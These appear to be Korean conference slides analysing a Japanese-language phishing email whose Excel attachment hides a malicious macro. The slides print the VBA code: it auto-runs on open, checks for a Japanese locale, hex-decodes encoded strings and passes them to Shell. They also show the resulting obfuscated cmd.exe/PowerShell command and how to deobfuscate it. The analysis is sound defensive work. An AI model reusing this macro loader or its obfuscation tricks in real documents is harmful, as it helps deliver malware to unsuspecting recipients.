

KIMCHICON

핵인싸 malware's obfuscation&evasion

About this talk

- 배경
 - 라인 임직원들이 액셀+매크로 파일을 첨부한 이메일 수신
 - 일본 내 다른 기업들도 받음
 - APT일 수도 있고 mass mailer일 수도 있음
 - (스포일러) PE 형식의 custom packer를 script based obfuscation package 가 대체
 - 본인은 AV telemetry도, VTI 계정도 없음
- 목적
 - 이 공격 안에 어떤 기법이 들어가 있는지 공유하는 것
 - 자동 분석 시스템이 분석에 실패하는 이유를 알 수 있습니다.
 - 직접 난독화 해제할 일이 생길 때 도움이 될 수도 있습니다.

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\$ whoami

- 강홍수
- LINE :: GrayLab
- 경력
 - 리버스엔지니어링, Antivirus, 코드 난독화, 악성코드/exploit/취약점 분석, APT/캠페인 추적
- Contact
 - cmpdebugger@gmail.com, @jz__

Email

From: <i.mizu@k9.dion.ne.jp>
To: <[REDACTED]@linecorp.com>, <[REDACTED]@linecorp.com>, <[REDACTED]@linecorp.com>
Cc:
Sent: 2018-12-18 (火) 18:33:21
Subject: |注文書の件

お世話になっております。

添付ファイルご確認お願いいたします。

を送付致します

ご確認のほど、宜しくお願ひ

☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆

Attachment

- Filename: D O C 1812201804520.XLS
- Hash:
 - MD5: 2c2545df2bbcd506bd09641ec97ca5ae
 - SHA256:
fa5eb74adc22749ffd113ceaa71d23a693af55e605bea1354dc7d3
52303e9bff
- <https://app.any.run/tasks/8311417e-1ca4-4fb7-8520-191b8397b40e>
 - 샘플 다운로드 가능

보안 경고 매크로를 사용할 수 없도록 설정했습니다. 콘텐츠 사용

I36 B C D E F G H I J K L M N

1 2019年2月12日
2
3
4 見積書No. 341
5 御 見 積 書
6 (1) 以前、メッセージバーの“編集を有効にする”をクリックします。
7 (2) その後、「コンテンツの有効化」ボタンをクリックします。
8
9
10 TEL -
11 FAX -
12
13
14 見 積 金 額 182,855 円 (消費税込)
15 日付 品名 数量 単価 金額
16
17
18
19
20
21
22
23
24
25
26 以上 合 計 182,855
27
28
29 見積有効期限：見積日から1ヶ月間
30
31
32
33
34
35
36 責任者 担当者
37
38
39
40

보안 경고 매크로를 사용할 수 없도록 설정했습니다. 콘텐츠 사용

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15 日付 品名 数量 単価 金額
16
17 1 92,712 92,712
18 1 90,143 90,143
19 - - -
20 - - -
21 - - -
22 - - -
23 - - -
24 - - -
25 - - -
26 以上 合 計 182,855
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32
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34
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39
40


Automatic analysis

- <https://app.any.run/tasks/8311417e-1ca4-4fb7-8520-191b8397b40e>
 - Fails

The screenshot shows a Microsoft Excel spreadsheet titled "D O C 1812201877453.XLS [Compatibility Mode] - Microsoft Excel". The document contains Japanese text and a table. The table has columns for Date, Name, Quantity, Unit Price, and Amount. The last row is a summary: 見積金額 121,556 円(消費税込). The task list in the message bar says:


- (1) 以前、メッセージバーの“編集を有効にする”をクリックします。
- (2) その後、「コンテンツの有効化」ボタンをクリックします。

The ribbon tabs shown are File, Home, Insert, Page Layout, Formulas, Data, Review, View, and Developer.



VBA macro

- “Protected” 상태라 VB 에디터에서 볼 수 없음



VBA macro

- pip install oletools

```
> pip install oletools
Collecting oletools
  Downloading https://files.pythonhosted.org/packages/79/
    100% |#####| 1.6MB 386kB/s
Collecting pyparsing (from oletools)
  Downloading https://files.pythonhosted.org/packages/de/
    100% |#####| 71kB 1.5MB/s
Installing collected packages: pyparsing, oletools
  Running setup.py install for oletools ... done
Successfully installed oletools-0.53.1 pyparsing-2.3.1
You are using pip version 9.0.3, however version 19.0.2 is
available.
You should consider upgrading via the 'python -m pip inst
```

- olevba -c <target.xls>

```
> olevba -c sample.XLS
olevba 0.53.1 - http://decalage.info/python/oletools
Flags      Filename
-----
OLE:MAS-H--- sample.XLS
=====
FILE: sample.XLS
Type: OLE
-----
VBA MACRO ThisWorkbook.cls
in file: sample.XLS - OLE stream: u'_VBA_PROJECT_CUR/VBA/ThisWorkbook'
-----
Function geroo()

am1 = "0063006D0064002E0065007800650020002F0056003A004F004E002F004300220073006500740020004F0065003600770
066007A00540056003800690031006D00260026007300650074002000550076003D0056004500520054005D003A003A002600260
026002600730065007400200036004F0066003D006500260026007300650074002000610064004D003D002000200020005B00560
0"
am2 = "7300530050003D007300260026007300650074002000380035003D0066006C004F005300450068004A004900450031007
9003D0043004A0066006A004A00650033007700260026007300650074002000710069003D00620063005A0047007400630066006
A007400660026002600730065007400200069007200430076003D002E0020002800200028005B005300740052006900260026007
9"
am3 = "0072002B0079006C00330059004D0070007300650065007A002600260073006500740020004D0057003D006C006800260
06300350075005500390069002600260073006500740020006F00570031003D005E005E005E005E005E005E0026002800270
02000790047005A0035003D0058002600260073006500740020004A0065003D00340042006E0071006E005800310048007700570
am4 = "73006500740020003200610079003D003D002700200029002C0020005B0049004F002E0043004F006D00500026002
E00260043006D006400200020002F0043002000200050006F00570065007200530026002600730065007400200031006C0069003
50061004D007200270029002800200024007R005F007D002C0020005R0074002600260073006500740020006F0075006R0067003
```

VBA macro

- VBA code
 - 문법 전혀 모름마다.. 하지만 워낙 직관적이라 프로그래밍 경험 이 있다면 바로 이해할 수 있음
 - Sub my_func(Argument1 As Long) As String
....
my_func = “리턴은 이렇게 함수명에 = 하면 됨”
End Sub

VBA macro

- VBA code

```
1 Function geroo()
2
3
4 am1 = "0063006D0064002E0065007800650020002F0056003A004F004E002F004300220073006500740020004F006500360077003D
53D00530074007100320069004D006400580041006B002F006F004F00340066007A00540056003800690031006D00260026007300650
602F006E0061003400780079006A004E005500620026007300650074002000570035005A0066003D003200780064005700790055
700580044004F006A003D006D00260026007300650074002000390078004F0076003D004600260026007300650074002000310054006
85 am2 = "7300530050003D007300260026007300650074002000380035003D0066006C004F005300450068004A004900450031007600
9006E0076003D006D007300270026002600730065007400200041004E0059003D0043004A0066006A004A00650033007700260026007
0300470038002600260073006500740020004D0070003D007200260026007300650074002000670031004C003D007600520041007500
13D002B004F002B00370054007100330046003400380048005400700048006A004E004B0059006800480038007400260026007300650
26 am3 = "0072002B0079006C00330059004D0070007300650065007A002600260073006500740020004D0057003D006C006800260026
359004700260026007300650074002000350043003D00550032004200420063003500750055003900690026002600730065007400200
402600260073006500740020007100620051003D0032004A00740066002600260073006500740020006F005600630059003D006A0026
5006E00380046002B0074004F0076004C0058002F0030006300450049006A004A00480071005A0068002600260073006500740020004
67 am4 = "73006500740020003200610079003D003D002700200029002C0020005B0049004F002E0043004F006D00500026002600
7003D00490050002E0045005800650020005E005E005E0026005E005E00260043006D006400200020002F0043002000200050006
830065007400200049004A005A0079003D005B007300790053005400650026002600730065007400200031006C003D00650052002700
92900260026007300650074002000410046003D0061004E003700580053006C003000680045002600260073006500740020005600720
9757A0053005D0026005C0022002600730051007D00260026007300650074002600530073004C0030005D00540053004C006D000900710026002600730065007
24 vb4 = "00530073002600260073006500740020003600470078003D0065004E004E0064004E0056002600260073006500740020004A003100690055003D002F
26002600730065007400200059007600490042003D006F007700730027002C0027002E00260026007300650074002000710047005A0038003D0045006600560
057006E0061004D0064006200570048004B006100460065005400390054006A006A00700059004D00580071005700260026007300650074002000410075006B
002600260073006500740020004A0030006A003D00430072004400260026007300650074002000610076006F003D0035002F004800670054005000260026007
25 geroo = am1 + am2 + am3 + am4 + am5 + am6 + am7 + am8 + am9 + dx1 + dx2 + dx3 + dx4 + dx5 + dx6 + dx7 + vb1 + vb2 + vb3 + vb4
26 End Function
27
```

VBA macro

- VBA code

```
49
50 Function y0kos()
51 y0kos = "045004100630068002D006F0042006A0027002B0027004500430027002B00270074002700290020007B005E00
00067006B0066006F003D006900640026002600730065007400200035006800370036003D0062004100730060004500360
460054007300500071004D0054006D00440037006A003400470057002F005A002B00470032006B00380051005A00440026
061006B006B00420052005200550057004F00420077005600310064006C0068004900620055003300540053004B0071003
52 y0kos = y0kos + "60026007300650074002000530042006F003D0045006F0031004D003600440073006F002600260073
074007200650041004D00260026007300650074002000580059003D00750052006E0041005400570059005600550026002
00470043003D005200360067002600260073006500740020006F005A004A003D006D006E0032004D002F00790076006F00
2007B0030007D007B0031007D007B0032007D005C00220022002D006600200027006F006100640027002C0027002600260
53 y0kos = y0kos + "60050004A003400650026002600730065007400200052004D00360078003D0073005A004400570031
06400450027002C0027002E0027002C00270049006F002E0063006F004D0050005200450027002C0027002600260073006
00740020003500530039003D0044005000260026007300650074002000750034003D0036004A0049004500500034007200
8003D0027002C0027005700690027002C002700530079007300740065006D002E0027002C00270046006F0072002600260
54 y0kos = y0kos + "036006F003D002E00280027006E00450077002D004F00620027002600260073006500740020004A006E003D0072005300430061006500590
0250078006B00680059002500250076004D007A00250025003800680025002500610064004D00250025006700
63 y0kos = y0kos + "00250061005A004E005000250025005700620025002500350044006700780025002500770
2500250058006D005300350025002500510056003300250025005900760049004200250025004F00700038002
0250041005200250025006300760025002500330071004E002500250049003000250025003600590038003100
64 y0kos = y0kos + "40059002500250055007A00250025006D006C002500250057006E002500250049007A005
04900790025002600260063006D0064002E0065007800650020002F00430020002500760067003A0022002200
65 End Function
```

VBA macro

```
002600260073006500740020004A0030006A003D00430072004400260026007300650074002000610076006F003D003500I  
25 geroo = am1 + am2 + am3 + am4 + am5 + am6 + am7 + am8 + am9 + dx1 + dx2 + dx3 + dx4 + dx5 + dx6 + dx7  
26 End Function  
27  
28 Sub Workbook_Open()  
29 If Application.International(xlCountrySetting) = 81 Then PrivateFunctions Else Application.Quit  
30 End Sub  
31  
32  
33 Sub PrivateFunctions()  
34 component1 = Shell#(clemm, xlUnderlineStyleSingle - 2)  
35 End Sub  
36  
37 Function clemm()  
38 Dim zxc As String  
39 Dim xcv As String  
40 xcv = Poster(geroo & y0kos)  
41 clemm = xcv  
42 End Function  
43 Function Poster(S As String) As String  
44 Dim X As Long  
45 For X = 1 To Len(S) Step 4  
46 Poster = Poster & Chr("&h" & Mid(S, X, 4))  
47 Next  
48 End Function  
49  
50 Function y0kos()  
51 y0kos = "045004100630068002D006F0042006A0027002B0027004500430027002B00270074002700290020007B005E005I  
00067006B0066006F003D006900640026002600730065007400200035006800370036003D00620041007300600045003600I
```

VBA macro

```
002600260073006500740020004A0030006A003D00430072004400260026007300650074002000610076006F003D003500I
25 geroo = am1 + am2 + am3 + am4 + am5 + am6 + am7 + am8 + am9 + dx1 + dx2 + dx3 + dx4 + dx5 + dx6 + dx7
26 End Function
27
28 Sub Workbook_Open()
29 If Application.International(xlCountrySetting) = 81 Then PrivateFunctions Else Application.Quit
30 End Sub
31
32
33 Sub PrivateFunctions()
34 component1 = Shell#(clemm, xlUnderlineStyleSingle - 2)
35 End Sub
36
37 Function clemm()
38 Dim zxc As String
39 Dim xcv As String
40 xcv = Poster(geroo & y0kos)
41 clemm = xcv
42 End Function
43 Function Poster(S As String) As String
44 Dim X As Long
45 For X = 1 To Len(S) Step 4
46 Poster = Poster & Chr("&h" & Mid(S, X, 4))
47 Next
48 End Function
49
50 Function y0kos()
51 y0kos = "045004100630068002D006F0042006A0027002B0027004500430027002B00270074002700290020007B005E005I
00067006B0066006F003D006900640026002600730065007400200035006800370036003D00620041007300600045003600
```

VBA macro

Application.International property (Excel)

06/08/2017 • 3 minutes to read • Contributors  all

Returns information about the current country/region and international settings. Read-only Variant.

Syntax

expression. International (*_Index_*)

expression A variable that represents an [Application](#) object.

Country/Region Settings		
Index	Type	Meaning
xlCountryCode	Long	Country/Region version of Microsoft Excel.
<u>xlCountrySetting</u>	Long	Current country/region setting in the Windows Control Panel.

3005E005E
50036006

VBA macro

Table 26-1: EXCEL COUNTRY CODES

[➡ Open table as spreadsheet](#)

Country	Country Code
English	1
Russian	7
Greek	30
Dutch	31

Portuguese (Brazil) 55

Thai 66

Japanese 81

Korean 82

Vietnamese 84

VBA macro

```
002600260073006500740020004A0030006A003D00430072004400260026007300650074002000610076006F003D0035002I
25 geroo = am1 + am2 + am3 + am4 + am5 + am6 + am7 + am8 + am9 + dx1 + dx2 + dx3 + dx4 + dx5 + dx6 + d
26 End Function
27
28 Sub Workbook_Open()
29 If Application.International(xlCountrySetting) = 81 Then PrivateFunctions Else Application.Quit
30 End Sub
31
32
33 Sub PrivateFunctions()
34 component1 = Shell#(clemm, xlUnderlineStyleSingle - 2)
35 End Sub
36
37 Function clemm()
38 Dim zxc As String
39 Dim xcv As String
40 xcv = Poster(geroo & y0kos)
41 clemm = xcv
42 End Function
43 Function Poster(S As String) As String
44 Dim X As Long
45 For X = 1 To Len(S) Step 4
46 Poster = Poster & Chr("&h" & Mid(S, X, 4))
47 Next
48 End Function
49
50 Function y0kos()
51 y0kos = "045004100630068002D006F0042006A0027002B0027004500430027002B00270074002700290020007B005E005I
00067006B0066006F003D006900640026002600730065007400200035006800370036003D00620041007300600045003600
```

VBA macro

```
002600260073006500740020004A0030006A003D00430072004400260026007300650074002000610076006F003D003500I  
25 geroo = am1 + am2 + am3 + am4 + am5 + am6 + am7 + am8 + am9 + dx1 + dx2 + dx3 + dx4 + dx5 + dx6 + dx7  
26 End Function  
27  
28 Sub Workbook_Open()  
29 If Application.International(xlCountrySetting) = 81 Then PrivateFunctions Else Application.Quit  
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42 End Function  
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44 Dim X As Long  
45 For X = 1 To Len(S) Step 4  
46 Poster = Poster & Chr("&h" & Mid(S, X, 4))  
47 Next  
48 End Function  
49  
50 Function y0kos()  
51 y0kos = "045004100630068002D006F0042006A0027002B0027004500430027002B00270074002700290020007B005E005I  
00067006B0066006F003D006900640026002600730065007400200035006800370036003D00620041007300600045003600I
```

VBA macro

XlUnderlineStyle Enum

Namespace: [Microsoft.Office.Interop.Excel](#)

Assembly: Microsoft.Office.Interop.Excel.dll

Specifies the type of underline applied to a font.

C++

```
public enum class XlUnderlineStyle
```

Inheritance [Enum](#) → XlUnderlineStyle

Fields

xlUnderlineStyleDouble	-4119	Double thick underline.
------------------------	-------	-------------------------

xlUnderlineStyleDoubleAccounting	5	Two thin underlines placed close together.
----------------------------------	---	--

xlUnderlineStyleNone	-4142	No underlining.
----------------------	-------	-----------------

xlUnderlineStyleSingle	2	Single underlining.
------------------------	---	---------------------

VBA macro

VBA Shell Syntax

The syntax for calling Shell is

```
Shell (Program, WindowStyle)
```

Program can be the name of an internal or external command or a script. It can contain any arguments or switches required by the program, as well as the drive and path to the program itself

WindowStyle determines how the window of the called program behaves.

WindowStyle is optional but if it is omitted, the program starts minimized with focus. You can specify the *WindowStyle* using a constant or the actual numeric value, as shown here:

Constant	Value	Description
vbHide	0	The window is hidden, and focus is passed to the hidden window.

VBA macro

```
002600260073006500740020004A0030006A003D00430072004400260026007300650074002000610076006F003D003500I  
25 geroo = am1 + am2 + am3 + am4 + am5 + am6 + am7 + am8 + am9 + dx1 + dx2 + dx3 + dx4 + dx5 + dx6 + dx7  
26 End Function  
27  
28 Sub Workbook_Open()  
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40 xcv = Poster(geroo & y0kos)  
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42 End Function  
43 Function Poster(S As String) As String  
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45 For X = 1 To Len(S) Step 4  
46 Poster = Poster & Chr("&h" & Mid(S, X, 4))  
47 Next  
48 End Function  
49  
50 Function y0kos()  
51 y0kos = "045004100630068002D006F0042006A0027002B0027004500430027002B00270074002700290020007B005E005F  
00067006B0066006F003D006900640026002600730065007400200035006800370036003D00620041007300600045003600
```

VBA macro

- 결국 아래 문자열은 ... \x63\x6d\x64... == cmd... 로 변환

```
3
4 am1 = "0063006D0064002E0065007800650020002F0056003A004F004E
 3D00530074007100320069004D006400580041006B002F006F004F00340
 02F006E0061003400780079006A004E0055006200260026007300650074
 00580044004F006A003D006D00260026007300650074002000390078004
5 am2 = "7300530050003D00730026002600730065007400200038003500
 006E0076003D006D007300270026002600730065007400200041004E005
```

VBA macro

- 난독화 해제된 상태를 보는 간단한 방법?
 - “Shell” 함수 대신 “MsgBox”? (like printf)
 - 또는 문법이 python 과 비슷하므로 그냥 python에 끌어넣기

```
>>> am6 = "003500440079005A00430043006700720052005900530069002B004B00410  
0420062005800540062004B00260026007300650074002000540037003D0035006700560  
05E005E005E005E007C0020002600260073006500740020007800570063003D00470  
>>> vb1 = "8004C007A0042002600260073006500740020006F0046003D002B0038006E  
002600730065007400200073004400480059003D0073006B005700540064006C00580053  
00730048005000620061007100750071002B006400260026007300650074002000490030  
>>> vb2 = "20007000550061003D0069006F006E002E002600260073006500740020003  
A003A0028005C002600260073006500740020007100690038003D0033003000750064004  
00020002D004E004F00700020002D0073005400200020002D00450078006500630020002  
>>> vb3 = "05E005E005E005E005E005E005E005E005E005E005E005E005E007C002000  
4D00310026002600730065007400200071004E006F003D00330037002F004F0032005500  
6F002E0027002C00270026002600730065007400200049007A0055003D0020005C002200  
>>> vb4 = "00530073002600260073006500740020003600470078003D0065004E004E0  
047005A0038003D004500660056006800630034003200260026007300650074002000580  
02600730065007400200057006200390079003D007300550026002600730065007400200  
>>> geroo = am1 + am2 + am3 + am4 + am5 + am6 + am7 + am8 + am9 + dx1 +  
>>>  
>>> a = geroo + y0kos
```

VBA macro

- 또는 문법이 python 과 비슷하므로 그냥 python에 땠려 넣기

batch

```
>>> a.decode('hex').replace('\x00', '')  
'cmd.exe /V:0N/C"set 0e6w=CvNl6wGG156ta0&&set sg=sa6mwPd&&set 8c=Stq2iMdXAk/o04fzTV8i1m&&set Uv=VERT]::&&set vni=wSJXNNdJlWFcPSV/na4xyjNUb&&set W5Zf=2xdWU8KRD&&set 60f=e&&set adM=[Vo&&set XDOj=m&&set 9x0v=F&&set 1Tl=DoWs.f  
oRMs.C&&set 3sSP=s&&set 85=f10SEhJIE1v&&set RY1W=ciweFxvTfImEPMK3u6cfHU&&set nv=ms\''&&set ANY=CJfjJe3w&&set qi=bc  
ZGtcfhLyyfr&&set V8=ynYlt5bN3G8&&set Mp=r&&set g1L=vRAuTl41Jtf&&set irCv=. ( ([StRi&&set PfZ=+0+7Tq3F48HTpHjNKYhH  
8t&&set I0d=h&&set 4Pp=jE2yr+y13Mpseez&&set MN=lh&&set 8Q=NU7BL&&set Qj6=Gy4ygZ&&set CJ=wYG&&set 5C=U2BBc5uU9i&&  
set oW1=~~~~~&(\''&&set ut=aM5wk7i4J7qJkk&&set qbQ=2Jtf&&set oVcY=j&&set yGZ5=X&&set Je=4BnqnX1HwWAFXdaJHn8F+t0v  
LX/0cEIjJHqZh&&set NSeA=Ue1ekDZNmhaD&&set 2ay==\' ), [I0.C0mP&&set xlj=tFCW2+3wZXjjZae5zyer3d&&set a4o=IP.EXe ^  
^&^^&Cmd /C PoWerS&&set 1li=RM&&set N1kP=+TvCMSC&&set IJZy=[sySTE&&set 1l=eR\', \'TReaMr\')($_{_}), [t&&set nukg  
=\\'me\' )&&set AF=aN7XS10hE&&set VrRM=xM&&set Tax=.memoRYSTrEAm&&set Aq=6&&set 0B=""aS`ci&&set 3Fe=0}{1}\\"&&  
set Q8=Tjg&&set tA=6leyNNnnhW&&set cXA=iS4u+L7Ak&&set 8h=W 1 -noni&&set M8qN=jTJ+gP&&set X8u=71YH09s8mgBejUhv&&set  
y4s=4ZDnYIE9ZuF3a+MW4&&set UB1=}{5}"" -f\'SY\', \'m\', \'&&set W5qN=b5HqwP5DyZCCgrRYSi+KA&&set 6Y81=. ( \\"{0&&set  
jL=VCk68tH&&set 0J5=( &&set xDJY=iwKm450LC5UYunBbXTbK&&set T7=5gVR&&set x4m=i`NVoKE\\"( &&set Qf=ZBZ&&set xDc=  
"REa`DT`oenD""( )~~~~~ | &&set xWc=GD&&set vAY=BukYXA7mbSW1JsFL&&set PI=HCdnCE7H8&&set 9D=1C44NSbmlmpqkq  
HArqxi&&set xYhw=VxSrDX&&set Uz=Clip&&set R3HL=HknYg4X0Y+m7&&set AR=""{1}{0}\\" -f( \\"{1}{0}\\"&&set RHks=1p&  
&&set wo=0}{1}{2}{3}{4}\\" -f&&set 8rn=2}\\" -f \'h\', \'Par\', \'tial\' ), \'Na\', &&set omR= &&set Si= [c0n&&set 3  
M=Mcq/o&&set NFgR=bNZ&&set uh=6z4f1+&&set 8P=yoVfdqP7vmoD/dIl\')&&set x5Jr=ECHO/(&&set RF=o09WU+YsweicX&&set xkhY  
=s&&set j3=3MRJ&&set 1y9=1}{2}{3}{6}&&set U0=b5j8WjJu&&set ieHu=nCodiNg]::&&set 6b=G/NbcnhIOBEjh6&&set JV=Com&&set  
WGx=reN`&&set yB7=,&&set 8731={v`ERB0se`p`Re`Fe&&set YBrx=s26TE&&set gsv=1EgwAFFjeelhnY8ZymExzjUEMbxml+eafHEI2Fe  
xfd8FC08x7A4y8FM&&set nGX=tg&&set aZNP=ion.Ass&&set uYf=8+3g84&&set tHLi=yix4gZ8aIbJXRHeXF+YIG0QmBDe05&&set JW4A=  
Bp3BsjSu1p&&set ptI=bvH/Qj&&set 0xnL=f (\\"{&&set vjI=s&&set N10=m.&&set qD27=QLSqrNp&&set Wn=oard]::(&&set cv=  
-f \'T\', \'tEx\' ), \'gET&&set QpS=0&&set 1ImR=d/Wz&&set QH=icCL9cmbT6TqAbvj0AvWlpmQz&&set ch=A&&set aKU=\\"&&set T  
A4=8JMXPGb9zH+0krCpdu/zIsP&&set i3Q=EzP5a&&set 5Dgx=""{&&set vEqn=dVVtc&&set YJU5=d70gmHntbQEc&&set 3E=}{&&set AU  
Q=YCzgojirAYBpxqAXBk1TX1ADv&&set r6=+dD2/iyL0wMLv1dyK0Qcg08GRTXex2JzkKH0PqtSr&&set Ufe=QxVzRsNs7JrmExbD/9&&set Ac  
Ma=LIPBOArD]::&&set vMz= -&&set 240=kERpYl&&set WfM=WKA2w19WlglPq&&set Iy= )&&set 2BN=NcL3udcrVrtZvxYpslksBKOA  
zcqupSH9UdRA1EzwG+x6rkSwmYz60Ueg9g4108TLEaghW&&set SNr="deC`0&&set xUl=""Fr0M&&set QV3=f\`nd&&set QK=e4oaBVtbvc  
J&&set svj=1&&set CS8=eXT&&set j0G=Bb/IWkv7SXqiC76Poyi953lwmt9WTYL7NHG&&set vKL2=C0IGUxH9kZTF3wMu7Hyi86hHvlw9o&&  
set 0bli=PrEsSioNMD0e] :&&set wt1T=xe/5TU6V&&set 0ay=giIIeDf4B50HaDYeeCu&&set g0k=For&&set jmxl=\\'lea\', \'r&&set Pk  
=WZB&&set gU0o=Je&&set pC=ce})[1,3]+\\'x\'-Joi&&set CVGa=CT&&set tlyo=39UxXVm0&&set yizX=L5qA&&set 8Tm4=uig&&set m  
YRs=EnNxNEB56EzC&&set 3w=,( \\"{&&set gq0=oQgsC8tYWjIk&&set N7gW=LAhS&&set vDH=037s1FG1exSuY/9YiUyPoQ0dWR&&set Cs  
=kFx7okLtSuf&&set yX=C3YCzrqSIYHAYD&&set nlJV=. \\"{In`VOKE\\"(( \\"{&&set SyY=4&&set MX=1qzod&&set TJ6
```

batch

- cmd.exe /V:ON/C"set Oe6w=CvNI6wGGI56ta0&&set
sg=sa6mwPd&&set 8c=Stq2iMdXAk/oO4fzTV8i1m&&set
Uv=VERT]::&&set vni=wSJXNNdJWFcPSV/
na4xyjNUb&&set W5Zf=2xdWyU8KRD&&set 6Of=e&&set
adM=[Vo&&set XDOj=m&&set 9xOv=F&&set
1TI=DoWs.foRMs.C&&set 3sSP=s&&set
85=fLOSEhJIIE1v&&set
RY1W=ciweFxvTflmEPMK3u6cfHU&&set nv=ms\'&&set
ANY=CJfjJe3w&&set qj=bcZGtcfhLyyfr&&...
...&&call set vg=%x5Jr% %6o% %...
...&&cmd.exe /C %vg:=""=!84p:~1!%"

batch


- cmd.exe /V:ON/C"set Oe6w=CvNI6wGGI56ta0&&set sg=sa6mwPd&&set 8c=Stq2iMdXAk/oO4fzTV8i1m&&set Uv=VERT]::&&set vni=wSJXNNdJIWFcPSV/na4xyjNUb&&set W5Zf=2xdWyU8KRD&&set 6Of=e&&set adM=[Vo&&set XDOj=m&&set 9xOv=F&&set 1TI=DoWs.foRMs.C&&set 3sSP=s&&set 85=fLOSEhJIE1v&&set RY1W=ciweFxvTfImEPMK3u6cfHU&&set nv=ms\'&&set ANY=CJfjJe3w&&set qi=bcZGtcfhLyyfr&&... ...&&call set vg=%x5Jr% %6o% %... ...&&cmd.exe /C %vg:=""=!84p:~1!%"

batch

↓ %var% 대신 !var! 사용 가능

- cmd.exe /V:ON/C"set Oe6w=CvNI6wGGI56ta0&&set
sg=sa6mwPd&&set 8c=Stq2iMdXAk/oO4fzTV8i1m&&set
Uv=VERT]::&&set vni=wSJXNNdJIWFcPSV/
na4xyjNUb&&set W5Zf=2xdWyU8KRD&&set 6Of=e&&set
adM= [Vo&&set XDOj=m&&set 9xOv=F&&set
1TI=DoWs.foRMs.C&&set 3sSP=s&&set
85=fLOSEhJIE1v&&set
RY1W=ciweFxvTflmEPMK3u6cfHU&&set nv=ms\'&&set
ANY=CJfjJe3w&&set qj=bcZGtcfhLyyfr&&...
...&&call set vg=%x5Jr% %6o% %...
...&&cmd.exe /C %vg:""=!84p:~1!%"

batch

- cmd.exe /V:ON/C"set Oe6w=CvNI6wGGI56ta0&&set sg=sa6mwPd&&set 8c=Stq2iMdXAk/oO4fzTV8i1m&&set Uv=VERT]::&&set vni=wSJXNNdJIWFcPSV/na4xyjNUb&&set W5Zf=2xdWyU8KRD&&set 6Of=e&&set adM= [Vo&&set XDO1Tl=DoWs.foRMs.C&&85=fLOSEhJIE1v&&set RY1W=ciweFxvTflmEANY=CJfjJe3w&&set ...&&call set vg=%x5...&&cmd.exe /C %vg
- 

batch

- cmd.exe /V:ON/C"set Oe6w=CvNI6wGGI56ta0&&set
sg=sa6mwPd&&set 8c=Stq2iMdXAk/oO4fzTV8i1m&&set
Uv=VERT]::&&set vni=wSJXNNdJIWFcPSV/
na4xyjNUb&&set W5Zf=2xdWyU8KRD&&set 6Of=e&&set
adM= [Vo&&set XDOj=m&&set 9xOv=F&&set
1TI=DoWs.foRMs.C&&set 3sSP=s&&set
85=fLOSEhJIE1v&&set
RY1W=ciweFxvTflmEPMK3u6cfHU&&set nv=ms\'&&set
ANY=CJfjJe3w&&set qj=bcZGtcfhLyyfr&&...
...&&**call set vg=%x5Jr%%6o%%**...
...&&cmd.exe /C %vg:""=!84p:~1!%"

batch

- cmd.exe /V:ON/C"set Oe6w=CvNI6wGGI56ta0&&set
sg=sa6mwPd&&set 8c=Stq2iMdXAk/oO4fzTV8i1m&&set
Uv=VERT]::&&set vni=wSJXNNdJIWFcPSV/
na4xyjNUb&&set W5Zf=2xdWyU8KRD&&set 6Of=e&&set
adM= [Vo&&set XDOj=m&&set 9xOv=F&&set
1TI=DoWs.foRMs.C&&set 3sSP=s&&set
85=fLOSEhJIE1v&&set
RY1W=ciweFxvTflmEPMK3u6cfHU&&set nv=ms\'&&set
ANY=CJfjJe3w&&set qj=bcZGtcfhLyyfr&&...
...&&call set vg=%x5Jr% %6o% %...
...&&**cmd.exe /C %vg:""=!84p:~1!%"**

batch

- cmd.exe /V:ON/C"set Oe6w=CvNI6wGGI56ta0&&set
sg=sa6mwPd&&set 8c=Stq2iMdXAk/oO4fzTV8i1m&&set
Uv=VERT]::&&set vni=wSJXNNdJIWFcPSV/
na4xyjNUb&&set W5Zf=2xdWyU8KRD&&set 6Of=e&&set
adM= [Vo&&set XDOj=m&&set 9xOv=F&&set
1TI=DoWs.foRMs.C&&set 3sSP=s&&set
85=fLOSEhJIE1v&&set
RY1W=ciweFxvTflmEPMK3u6cfHU&&set nv=ms\'&&set
ANY=CJfjJe3w&&set qj=bcZGtcfhLyyfr&&...
...&&call set vg=%x5Jr% %6o% %...
...&&cmd.exe /C echo %vg:""=!84p:~1!%"

batch

- echo는 영 좋지 않습니다. (), & <- 이런게 있으면 파이프로 넘어 가서 실행 돼버림
- ex) echo test | clip & xyxy

```
mHntbQEc&&set 3E=}{&&set AUQ=YCzgojirAYBpxqAXBk1TX1ADv&&set r6=+dD2/iyL0wML
SwmYz60Ueg9g4l08TLEaghW&&set SNr=:""deC`0&&set xUl=""FrOM&&set QV3=f\'nd&&s
=gIIEf4B50HaDYeeCu&&set g0k=For&&set jmxl=\'lea\',\'r&&set Pk=WZB&&set gl
1exSuY/9YiUyPoQ0dWR&&set Cs=kFx7okLtSuf&&set yX=C3YCzrqSIYHAYD&&set nLJV=.
') ^~~[] CL&&set nT=\'EX\' ; [S&&set 5SAY=ZX90c&&set SwqT=n5FomP&&set oC
Pj0=ON&&set Pnc=LsABixCMcCy7&&set CMT={0}\\\\" &&set uCTQ=-&&set vbn=Up&&set
HPbaquq+d&&set I0=.\\\"IN`V`okE\\\"( ) ) ~~~~~~|| &&set pUa=ion.
&&set wzJH=I\"}).&&set vt=M`pre`Ss\"\" )~~~~~|| ~~~~~~&&set 286l=
b5FH&&set Jr2x=ReSs&&set 6Gx=eNNdNV&&set J1iU=/KkKo8&&set 4J=Wi\',\'t\')&&s
j=rEAch-oBj\'+\'EC\'+\'t\') {~~~~~&(&&set XmS5=1}{4}\\\\"-&&set gk
t&&set SBo=Eo1M6Dso&&set RM=5&&set AnyN=wjpDEuFCZ3Lfh&&set U7eI=streAM&&set
set aIP=\"\"{3}{0}{2}{1}{4}\"\" -f \'SSI0n\',\'dE\',\'.\',\'Io.coMPRE\',\'&&set
5TMr&&set 8nGII=nc0R&&set nc=40&&set In=rSCaeY4FYRcFlUTI_Cn2f&&set c05a=++A/
```

batch

- Editor의 replace를 이용, 간단하게 치환 가능
 - Escape quotes / double quotes
 - Batch allows variable name starting with number. So put _ in front, etc

```
_0e6w='CvNl6wGGl56ta0'  
_sg='sa6mwPd'  
_8c='Stq2iMdXAk/o04fzTV8i1m'  
_Uv='VERT]::'  
_vni='wSJXNNdJlWFcPSV/na4xyjNUb'  
_W5Zf='2xdWyU8KRD'  
_60f='e'  
_adM=' [Vo'  
_XD0j='m'  
_9x0v='F'
```

```
_0sF='5wv0DjWLe8Rgxx9TcB4CaqDRlkMiSShf'  
